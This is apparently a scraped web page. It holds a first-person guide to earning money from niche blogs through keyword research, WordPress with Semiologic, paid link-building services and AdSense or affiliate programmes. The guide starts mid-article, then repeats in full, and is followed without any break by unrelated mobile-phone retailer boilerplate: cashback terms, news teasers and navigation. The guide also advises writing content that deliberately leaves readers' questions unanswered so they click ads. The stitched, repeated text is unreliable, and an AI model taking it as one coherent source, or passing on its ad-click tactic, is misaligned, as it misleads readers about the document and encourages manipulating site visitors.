Back to keyword research again. Now – this next part will, to an extent, depend on your writing abilities. Me? I can turn out witty, informative content at the drop of a hat, and base it around my chosen keywords. But – I know plenty of people who cannot and still manage to make money from it. So – you need to go back to Market Samurai, do some research on search terms surrounding your chosen domain name and start writing. Depending on your writing skills – you may need to farm this out, buy content and edit to suit your requirements.
Either way, you will need some content for your blog and well researched, witty, informative content that does not quite answer the question your search engine traffic asked is the best type of content for contextual advertising click throughs and well researched witty informative product reviews that do fully answer the question and recommend a product you have advertised is the best type of content for affiliate sales.  So – yes, you will need to do some more work here. Assuming you have followed the first three steps, you now have a well-researched domain name, search engine optimized software and good quality content. The keywords you have determined you are going to use will need to go in the content of the article, the tags on the post, and be used as anchor text to create incoming links. If you do not know what a tag or anchor text is – don’t worry – you will do by the time you have set up a blog and started. Now the next, and perhaps the most crucial step:
Step Five – promoting your site
This is another one that requires work or money. Or both. Much as I would love to say that if you write informatively, it will automatically get found and picked up by the search engines – this is not always true. Sadly, some of the best content I have ever written has never been read because I failed to research the subject properly or discovered later that the subject was so competitive I could never rank well for it.
Think of the search engines as an “online popularity contest,” and you will be thinking correctly. And the way many of them measure it is incoming links from other web sites. So – you need to get out there and find some incoming links. If your content is good, some of these will grow “organically,” but by far your best approach is to make some of that happen. I use a couple of pieces of software for some basic link building, but I also manually generate links as well.. So – you need to go pay these people for incoming links. Which sux – and I hate it – but, I am a realist also. No incoming links means no winning the popularity contest which means no money….. Link building is vital. I will say that again and in bold – no incoming links from other websites equals no traffic equals no money.
Ways to generate some incoming links automatically:

• One way links
• Linkvana
• Unique Article Wizard

I will not go into details about how these work as that is an entirely different article. One Way Links involves you writing a blog post with links embedded in it, which will then be posted to as many other blogs as are in the network, Linkvana involves you posting small articles with a link that will be sent out to their blog network and Unique Article Wizard needs 3 versions of the same article which it will then “randomize” out to hundreds of article directories and blogs. I discuss these programs in more detail here – Generating incoming links.  This will not work on it’s own. You must also generate some incoming links from other sources.
Generating links from other sources
Making them yourself
There are several blogging and article sites that allow you to set up a free blog or account a post articles with links in to your own sites. These include WordPress.com, Blogger.com, hubpages, ezine articles and numerous others. This is a basic starting list, and if you use just these you will be getting a good start:

• Hubpages. Hubpages is an article posting site/social networking venue. It is not a blogging platform. This site has high visiblity with the search engines and I use it extensively.You can also make money here on the articles you post, as they offer a revenue sharing advertising model.
• WordPress.com. You can set up as many free blogs as you wish here. I have dozens and use them to write brief articles with links to my paying sites. The software looks very like the software you will be running your blogs on and is therefore extremely easy to use.
• Blogger. Once again – as many free blogs as you like and I have several which I use solely to generate incoming links.
• Ezine articles. This is an article directory that ranks well with the search engines also and allows you to link back to your own site. Free to join and use.

There are many other places to do this, but this is an excellent beginning. If you use all of these, combined with the automatic links, you will be well under way to making money blogging.
Other ways of generating links:

1. Write really fantastic content that people enjoy reading. They will like it so much, they will link to it. This is actually my preferred way of generating incoming links. But – you need a basis in the first place for people to find you.
2. Ask people for a link. You can email other people, tell them you have a great site and ask for links. This is less practical if you do not have great content, or are completely new with no ranking at all. But – it never hurts to ask. If you go this route – ask related sites to link to you. At places like hubpages and the keyword academy, which both have forums, you are going to bump into people who also need links and arrange exchanges.
3. Comment on other people’s blogs. Do not make stupid spammy comments like “thx for the article.” If you go this route, make respectful comments that contribute something to the discussion.
4. Buy links. I have never done this myself because when I started blogging there was so much stuff in the internet about sites being blocked or punished by google for doing so, that I was unsure whether it works or not. Try this at your own peril. I did try a link exchange program which generated link on one of my outgoing pages in exchange for a bunch of incoming links from other sites. It did not work.

Step Six – Making money from your blog
With this model of blogging (and there are plenty of others) you are going to need to have advertising – which can be of a variety of types. Contextual google ads (or some other provider), which pay based on visitors to your blog clicking on advertising,  products for sale which pay a commission based on a percentage of the sale value, or banner ads that pay on the amount of impressions shown. Google adsense is probably the most widely used, and you may well end up using a comination of these.
This is a basic list, but you must open an account (if you do not already have one) with at least one of these type of advertising providers unless you are planning to sell banner advertising directly to a potential advertiser. You may,of course, choose to use a combination of these.

• Google adsense. Contextual ads based on the content of your pages using a pay per click/impression model.
• Clickbank. Affiliate sales model paying a commission based on the value of the sale. Wide range of products and a good reputation.
• DoubleClick. This is google’s affiliate program.
• Commission junction. Affiliate commissions.
• Amazon. Affiliate commissions.
• Pay Dot Com – Probably the best on this list of affiliate products. An awful lot of products many of which are rip offs, but some good ones in there.

Google adsense is by far the most popular advertising model, but depending on your audience, you may want to combine it with one of more of these others. Other possible options include, but are not limited to:

1. selling a product. If you are selling a product, then I have to assume that you already know the product you are going to sell. Whether you are making the product yourself or a reseller, you must then determine what search terms are being used by people interested in that product and buy a domain name that is appropriate.
2. selling advertising space using banner ads. Same story here.

So to recap, these are the steps needed:

1. Research domain name using Market Samurai.
2. Arrange hosting and buy domain – Bluehost is here – Best Web Hosting Plan! 300 GB Space, 3,000 GB Bandwidth – only $6.95/mo! and Host Gator is here – Link Directly to Shared Web Hosting Page
3. Install basic Wordpress and then buy Semiologic WordPress blogging software and have it installed for you
4. Research and write content
5. Generate incoming links using  1waylinks, Linkvana, Unique Article Wizard and sites like hubpages.
6. Monetize your blog
7. Spend the money you are now making on whatever you want to spend your money on. More domains if you are anything like the rest of us.

Next question – What will this cost me to setup?

• Keyword research software – $97
• Domain name and hosting -  $8 per month to host as many domains as you wish and your first one is usually free
• WordPress – Free
• Semiologic software to optimize wordpress – $295 (the best $295 I ever spent)
• Incoming links – One way links – $7 for the first month then $47 per month after
• Joining affiliates – Free

Total cost for one year (one domain only) – $1,052
This will not need to be paid out all in one go – with the exception of Market Samurai and semiologic,  these are available as a monthly payment, but these are the basic running costs of setting up money making blogs and of course, if you set up more than one (as you are likely to do) the running costs are split between several blogs. The only extra you will pay is for more domains. I suggest adding Unique Article Wizard and Linkvana to your strategy after you have several domains and/or are making some income. UAW costs $67 per month and Linkvana costs $147 per month. You can, of course, just run basic wordpress which will save you $295 up front but mean more work.
Next logical question – How much money will I make?
How long is a piece of string? To a certain extent, this depends on how much work you are willing to put in, how well you learn the keyword lessons and that indefinable element – luck. What I have given here is the basics of  how to make money blogging. There are other ways of monetizing a blog, and there are other approaches that can be just as profitable. But this is a tried and tested method, and I can promise that if you follow these instructions, you will make a profit.
Do not, unless Lady Luck steps in and gives you a hand, expect to become rich overnight. And do not make the mistake of thinking that there is no work involved. Certainly the tools I have recommended will get you started faster and more profitably than just by setting up a blog and going for it with your eyes closed. It took me three years to learn what I could have learned using Market Samurai three months. And I spent more hours than I care to remember trying to get WordPress to do the things that Semiologic can make it do.
I also wasted hundreds of hours link building manually instead of paying to outsource some of them. Sure – you can do it cheaper, but you will be profitable much, much slower – assuming you have enough money not t0 be earning while you wait for things to work (or not). Realistically, if you do your research properly, and if you make good content, and generate incoming links in the ways I have suggested, the correct niche blog can return you hundreds of dollars a month with very little work on your part once the groundwork is laid. My most successful blog makes around $1,500 per month, and my least successful around $40 a month – discounting the disasters that I don’t want to talk about. 
Good luck !
Further reading and useful articles:

• Making money online – three things that have worked for me at hubpages
• A review of article sites to use for backlinks
• The internet bloke – 12 touchstones for online survival

Tagged as: best blogging software, blogging for business, building relationships, effective keyword research, google adsense, how to make money blogging, make money blogging, making money blogging, making money from a blog, making money online, money making blogs

A step by step guide to making money blogging

If I have been asked the question,” how on earth do you make money blogging ?” once, I have been asked it a thousand times. There is an awful lot of misinformation out there about blogging and the problem is that the failures outweigh the successes by about a million to one, so for every successful blogger out there, there are 999,999 people telling you that you cannot make money blogging. What they really mean is they cannot make money blogging.
The other problem is that a good proportion of the people who make money blogging do it by selling crappy advice to the other 999,999 failures. I am not going to do that. I am not selling a damn thing, although if you take my advice and sign up for the tools I use, I will make a couple of dollars in commissions. All I need is 999,999 people to take my advice and I will be set for life, in which case – anyone want to buy a few blogs?
Just kidding, I would never part with them . But let’s go back to the question most people really want to ask - “Can I make money blogging ? and if so – how?”

The answer is yes. I am a professional blogger and have been for several years. I do it with a combination of freelance writing, several niche blogs, article writing and, for the last 18 months, writing a business blog for a luxury property portal. This last one – if you are considering blogging for business – requires you to have already developed a reputation in a particular industry, and being able to demonstrate the necessary skills to make it work. Which includes generating traffic, building relationships and incoming links and actually being a successful blogger.
There is more than one way to skin a cat, and for the purposes of this article I am going to show you the steps needed to create your own money making blogs. I say blogs rather than blog because the chances are that you – like me – are going to fail in some instances and be successful in others. This will probably mean more than one domain and/or niche. The trick is to then capitalize on the successful ones. For ease of use, all the links in this article will open in a new window. This is how to go about it:
Step One – Choose a niche and domain name
Yes – this is the first step. Not, “Oh, I have a blogger blog called michelle and johns cats favorite toys.blogspot.com, how do I go about making money from it?” Forget that – you need to identify a niche or subject that could potentially be a profitable one, choose a domain name based on the research you have done, buy it , host it and set up the blog. This is where it gets boring, because you will have to research this. Sorry – now the work begins. You didn’t think it was going to be that easy making money from a blog did you? Don’t worry if buying a domain and hosting it means nothing to you – we will get to that. Of course, having said all that, some one is bound to stop by and tell me that selling toys for cats was the best thing they ever got into and they are now living a life of luxury in the Bahamas off the proceeds.
Researching a potential money making niche or subject.
This is where the work begins. I can promise you from personal experience, that if you are setting up a blog with the sole intention of making money, you need to find a profitable niche.  As an example, let us say you have done some research, and settled on hair care products as a potentially profitable niche and decided to make money from your blog by selling hair care products. A possible search term that some one might use to search for a hair care product would be “hair care shampoo,” so an appropriate domain name would be haircareshampoo.com. Whereas you are unlikely to sell many hair care products through, dogtraining.com. The other things to take into consideration are the amount of people searching for a particular term, the amount of money advertisers are paying to advertise using that particular phrase, and how competitive that term is.
This is where the research comes in. Now, this subject is huge, and I do not plan to go into great detail, because there are other people specializing in this area, some of which are excellent. As far as I am concerned, this is by far the most technically demanding part of  making money with a blog, and I personally hate doing it – but, it is a necessary step in the process. This is my first recommendation
To learn how to do effective keyword research, go download this piece of free software -  Market Samurai
Sign up and follow their video lessons. After 12 days, you need to pay a fee of $97 to continue to use it – trust me – it is well worth the investment and will save you countless hours of time.
Step two – Buying a domain name (your website) and hosting it

Let’s stick with haircareshampoo.com. We have decided that this would be a good name to sell haircare products. Whether we are going to actually sell our own product, use google advertising, sell affiliate products or sell banner ads really makes no difference here. Go to Bluehost or Host Gator and use their search facility to see if that name is available by clicking on the button that says “start domain search” and filling in the word “haircareshampoo,” and seeing if it is available. If it is (which this one is not) you then need to open an account, and buy both the domain and hosting from them. I prefer their unlimited hosting packages, but of you are on a tight budget, get whichever is affordable for you.
Step Three – Setting up your blog and installing it
This is one of the reasons why I like both Bluehost and Host Gator. To do this step – phone their customer service department, tell them you want to install a WordPress blog and ask them to talk you through the process, which they will do. In ten minutes flat, you will have your own WordPress blog set up and ready to storm the blogosphere with. What I will say is – if you have chosen a different hosting company, make sure they have one click installations for WordPress.
There are dozens of other platforms out there, but I heartily recommend WordPress and would not use anything else. Next part is to optimize your WordPress installation, and the easiest, most time effective way of doing so is to go to Semiologic, buy their software and ask them to install it for you. One issue facing a first time blogger is the massive amount of options available to you. Semiologic will take care of most of these – all within one piece of software.
I have wasted countless hours of my time trying to find the perfect look and/or position for one stupid little piece of text or ad placement. With this software – the instructions are simple, easy to follow and they have a pretty good customer service response. I say “pretty good” because this is a three-man band, not a great big corporation. Also – this comes with  a fantastic piece of software that allows you to “clone ” a setup. So, once you have one blog that is working well for you – you can buy another domain and clone that one in a few minutes with all the ads in place. This is hands down the best blogging software on the planet.
This is also a brilliant piece of software for setting up a static website rather than a blog. It gets found by the search engines, is very flexible and inexpensive. Once you have it, you can use it on as many websites as you wish and update it with one click as the software evolves. This blog and all my other blogs are semiologic wordpress blogs, and have more than enough custom options to satisfy just about anyone – and you can take it from me that you are far better off spending your time researching, writing and promoting your work than you are pissing around trying to make the “perfect” look.
Buy semiologic wordpress setup here
So, now you have a domain name, software installed and ready to go, and are looking at the metaphorical blank piece of paper that is in your blog – the post editing page.
Step Four- writing something
Back to keyword research again. Now – this next part will, to an extent, depend on your writing abilities. Me? I can turn out witty, informative content at the drop of a hat, and base it around my chosen keywords. But – I know plenty of people who cannot and still manage to make money from it. So – you need to go back to Market Samurai, do some research on search terms surrounding your chosen domain name and start writing. Depending on your writing skills – you may need to farm this out, buy content and edit to suit your requirements.
Either way, you will need some content for your blog and well researched, witty, informative content that does not quite answer the question your search engine traffic asked is the best type of content for contextual advertising click throughs and well researched witty informative product reviews that do fully answer the question and recommend a product you have advertised is the best type of content for affiliate sales.  So – yes, you will need to do some more work here. Assuming you have followed the first three steps, you now have a well-researched domain name, search engine optimized software and good quality content. The keywords you have determined you are going to use will need to go in the content of the article, the tags on the post, and be used as anchor text to create incoming links. If you do not know what a tag or anchor text is – don’t worry – you will do by the time you have set up a blog and started. Now the next, and perhaps the most crucial step:
Step Five – promoting your site
This is another one that requires work or money. Or both. Much as I would love to say that if you write informatively, it will automatically get found and picked up by the search engines – this is not always true. Sadly, some of the best content I have ever written has never been read because I failed to research the subject properly or discovered later that the subject was so competitive I could never rank well for it.
Think of the search engines as an “online popularity contest,” and you will be thinking correctly. And the way many of them measure it is incoming links from other web sites. So – you need to get out there and find some incoming links. If your content is good, some of these will grow “organically,” but by far your best approach is to make some of that happen. I use a couple of pieces of software for some basic link building, but I also manually generate links as well.. So – you need to go pay these people for incoming links. Which sux – and I hate it – but, I am a realist also. No incoming links means no winning the popularity contest which means no money….. Link building is vital. I will say that again and in bold – no incoming links from other websites equals no traffic equals no money.
Ways to generate some incoming links automatically:

• One way links
• Linkvana
• Unique Article Wizard

I will not go into details about how these work as that is an entirely different article. One Way Links involves you writing a blog post with links embedded in it, which will then be posted to as many other blogs as are in the network, Linkvana involves you posting small articles with a link that will be sent out to their blog network and Unique Article Wizard needs 3 versions of the same article which it will then “randomize” out to hundreds of article directories and blogs. I discuss these programs in more detail here – Generating incoming links.  This will not work on it’s own. You must also generate some incoming links from other sources.
Generating links from other sources
Making them yourself
There are several blogging and article sites that allow you to set up a free blog or account a post articles with links in to your own sites. These include WordPress.com, Blogger.com, hubpages, ezine articles and numerous others. This is a basic starting list, and if you use just these you will be getting a good start:

• Hubpages. Hubpages is an article posting site/social networking venue. It is not a blogging platform. This site has high visiblity with the search engines and I use it extensively.You can also make money here on the articles you post, as they offer a revenue sharing advertising model.
• WordPress.com. You can set up as many free blogs as you wish here. I have dozens and use them to write brief articles with links to my paying sites. The software looks very like the software you will be running your blogs on and is therefore extremely easy to use.
• Blogger. Once again – as many free blogs as you like and I have several which I use solely to generate incoming links.
• Ezine articles. This is an article directory that ranks well with the search engines also and allows you to link back to your own site. Free to join and use.

There are many other places to do this, but this is an excellent beginning. If you use all of these, combined with the automatic links, you will be well under way to making money blogging.
Other ways of generating links:

1. Write really fantastic content that people enjoy reading. They will like it so much, they will link to it. This is actually my preferred way of generating incoming links. But – you need a basis in the first place for people to find you.
2. Ask people for a link. You can email other people, tell them you have a great site and ask for links. This is less practical if you do not have great content, or are completely new with no ranking at all. But – it never hurts to ask. If you go this route – ask related sites to link to you. At places like hubpages and the keyword academy, which both have forums, you are going to bump into people who also need links and arrange exchanges.
3. Comment on other people’s blogs. Do not make stupid spammy comments like “thx for the article.” If you go this route, make respectful comments that contribute something to the discussion.
4. Buy links. I have never done this myself because when I started blogging there was so much stuff in the internet about sites being blocked or punished by google for doing so, that I was unsure whether it works or not. Try this at your own peril. I did try a link exchange program which generated link on one of my outgoing pages in exchange for a bunch of incoming links from other sites. It did not work.

Step Six – Making money from your blog
With this model of blogging (and there are plenty of others) you are going to need to have advertising – which can be of a variety of types. Contextual google ads (or some other provider), which pay based on visitors to your blog clicking on advertising,  products for sale which pay a commission based on a percentage of the sale value, or banner ads that pay on the amount of impressions shown. Google adsense is probably the most widely used, and you may well end up using a comination of these.
This is a basic list, but you must open an account (if you do not already have one) with at least one of these type of advertising providers unless you are planning to sell banner advertising directly to a potential advertiser. You may,of course, choose to use a combination of these.

• Google adsense. Contextual ads based on the content of your pages using a pay per click/impression model.
• Clickbank. Affiliate sales model paying a commission based on the value of the sale. Wide range of products and a good reputation.
• DoubleClick. This is google’s affiliate program.
• Commission junction. Affiliate commissions.
• Amazon. Affiliate commissions.
• Pay Dot Com – Probably the best on this list of affiliate products. An awful lot of products many of which are rip offs, but some good ones in there.

Google adsense is by far the most popular advertising model, but depending on your audience, you may want to combine it with one of more of these others. Other possible options include, but are not limited to:

1. selling a product. If you are selling a product, then I have to assume that you already know the product you are going to sell. Whether you are making the product yourself or a reseller, you must then determine what search terms are being used by people interested in that product and buy a domain name that is appropriate.
2. selling advertising space using banner ads. Same story here.

So to recap, these are the steps needed:

1. Research domain name using Market Samurai.
2. Arrange hosting and buy domain – Bluehost is here – Best Web Hosting Plan! 300 GB Space, 3,000 GB Bandwidth – only $6.95/mo! and Host Gator is here – Link Directly to Shared Web Hosting Page
3. Install basic Wordpress and then buy Semiologic WordPress blogging software and have it installed for you
4. Research and write content
5. Generate incoming links using  1waylinks, Linkvana, Unique Article Wizard and sites like hubpages.
6. Monetize your blog
7. Spend the money you are now making on whatever you want to spend your money on. More domains if you are anything like the rest of us.

Next question – What will this cost me to setup?

• Keyword research software – $97
• Domain name and hosting -  $8 per month to host as many domains as you wish and your first one is usually free
• WordPress – Free
• Semiologic software to optimize wordpress – $295 (the best $295 I ever spent)
• Incoming links – One way links – $7 for the first month then $47 per month after
• Joining affiliates – Free

Total cost for one year (one domain only) – $1,052
This will not need to be paid out all in one go – with the exception of Market Samurai and semiologic,  these are available as a monthly payment, but these are the basic running costs of setting up money making blogs and of course, if you set up more than one (as you are likely to do) the running costs are split between several blogs. The only extra you will pay is for more domains. I suggest adding Unique Article Wizard and Linkvana to your strategy after you have several domains and/or are making some income. UAW costs $67 per month and Linkvana costs $147 per month. You can, of course, just run basic wordpress which will save you $295 up front but mean more work.
Next logical question – How much money will I make?
How long is a piece of string? To a certain extent, this depends on how much work you are willing to put in, how well you learn the keyword lessons and that indefinable element – luck. What I have given here is the basics of  how to make money blogging. There are other ways of monetizing a blog, and there are other approaches that can be just as profitable. But this is a tried and tested method, and I can promise that if you follow these instructions, you will make a profit.
Do not, unless Lady Luck steps in and gives you a hand, expect to become rich overnight. And do not make the mistake of thinking that there is no work involved. Certainly the tools I have recommended will get you started faster and more profitably than just by setting up a blog and going for it with your eyes closed. It took me three years to learn what I could have learned using Market Samurai three months. And I spent more hours than I care to remember trying to get WordPress to do the things that Semiologic can make it do.
I also wasted hundreds of hours link building manually instead of paying to outsource some of them. Sure – you can do it cheaper, but you will be profitable much, much slower – assuming you have enough money not t0 be earning while you wait for things to work (or not). Realistically, if you do your research properly, and if you make good content, and generate incoming links in the ways I have suggested, the correct niche blog can return you hundreds of dollars a month with very little work on your part once the groundwork is laid. My most successful blog makes around $1,500 per month, and my least successful around $40 a month – discounting the disasters that I don’t want to talk about. 
Good luck !
Further reading and useful articles:

• Making money online – three things that have worked for me at hubpages
• A review of article sites to use for backlinks
• The internet bloke – 12 touchstones for online survival

Tagged as: best blogging software, blogging for business, building relationships, effective keyword research, google adsense, how to make money blogging, make money blogging, making money blogging, making money from a blog, making money online, money making blogs

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Effective monthly cost is calculated by adding the deal cost (if applicable) to the total line rental ( monthly line rental x contract length i.e. £25.00 x 18 months) then taking away the cash back amount.
This total is then divided by the contract length (i.e. 18 months) to give the effective monthly cost.

Cashback Terms & Conditions

• For your claim to be valid the mobile number on the bill must match that on our records, therefore if you have ported your number you must notify us before making your claim.
• Do this by logging onto www.dialaphone.co.uk, click on my account and follow the instructions provided.
• All claims should be sent to: Redemption Claim Centre, Phones 4u, Osprey House, Ore Close, Lymedale Business Park, Newcastle-Under-Lyme, Staffordshire, ST5 9QD.
• Dialaphone cannot accept responsibility for applications lost or delayed in the post.
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• Dialaphone will endeavour (but are not obliged) to contact you within 10 days of receipt of your claim. If you do not hear from us within this time, please contact us.
• Dialaphone accepts no tax liability incurred by an individual or business relating to this offer.
• Dialaphone reserve the right to change the payment method in the future.
• You will cease to be entitled to redemptions if your airtime contract has been terminated at the date the redemption is applied.
• Time limits for redemption claims are strict, therefore claims will not be approved if deadlines are missed or wrong documentation is sent.

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If you’re looking to get your hands on a HTC Flyer then you might have been rather unimpressed to learn it will launch with Android Gingerbread, not Honeycomb. However, HTC have now announced that the upcoming tablet will soon be getting the latest Android Honeycomb update...

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Contract Mobile Phones of The Week

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*Full terms and conditions can be found here

Effective Monthly Cost

Effective monthly cost is calculated by adding the deal cost (if applicable) to the total line rental ( monthly line rental x contract length i.e. £25.00 x 18 months) then taking away the cash back amount.
This total is then divided by the contract length (i.e. 18 months) to give the effective monthly cost.

Cashback Terms & Conditions

• For your claim to be valid the mobile number on the bill must match that on our records, therefore if you have ported your number you must notify us before making your claim.
• Do this by logging onto www.dialaphone.co.uk, click on my account and follow the instructions provided.
• All claims should be sent to: Redemption Claim Centre, Phones 4u, Osprey House, Ore Close, Lymedale Business Park, Newcastle-Under-Lyme, Staffordshire, ST5 9QD.
• Dialaphone cannot accept responsibility for applications lost or delayed in the post.
• Proof of posting will not be accepted as proof of delivery.
• The requested documentation must be the original or a legible photocopy in order to process your claim.
• Dialaphone will endeavour (but are not obliged) to contact you within 10 days of receipt of your claim. If you do not hear from us within this time, please contact us.
• Dialaphone accepts no tax liability incurred by an individual or business relating to this offer.
• Dialaphone reserve the right to change the payment method in the future.
• You will cease to be entitled to redemptions if your airtime contract has been terminated at the date the redemption is applied.
• Time limits for redemption claims are strict, therefore claims will not be approved if deadlines are missed or wrong documentation is sent.

Dial-a-Phone Blog: Latest posts

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White iPhone 4 Landing On Wednesday

The white iPhone 4 could finally be released in shops around the world tomorrow after various sources around the globe all cited a release date of 27 April...

Read more ...

HTC Flyer To Get Upgrade To Honeycomb “Shortly After Launch”

If you’re looking to get your hands on a HTC Flyer then you might have been rather unimpressed to learn it will launch with Android Gingerbread, not Honeycomb. However, HTC have now announced that the upcoming tablet will soon be getting the latest Android Honeycomb update...

Read more ...

Microsoft Lets Slip That Mango Will Be Version 7.5 Of Windows Phone

Microsoft accidentally revealed on its website that Mango will be version 7.5 of the Windows Phone operating system. Guess that clears things up then...

Read more ...

Top Handsets

• Black Berry Bold 9780
• HTC Desire HD
• Nokia N8
• BlackBerry Torch 9800
• Samsung Galaxy S

Manufacturers

• HTC Phones
• Blackberry Phones
• Apple IPhones
• Samsung Phones
• Nokia Phones

Networks

• Orange Shop
• Vodafone Shop
• O2 Shop
• T-Mobile Shop

Areas of Interest

• Mobile Phone Reviews
• Dialaphone Blog
• Handsets Coming Soon
• Customer Services
• Smartphones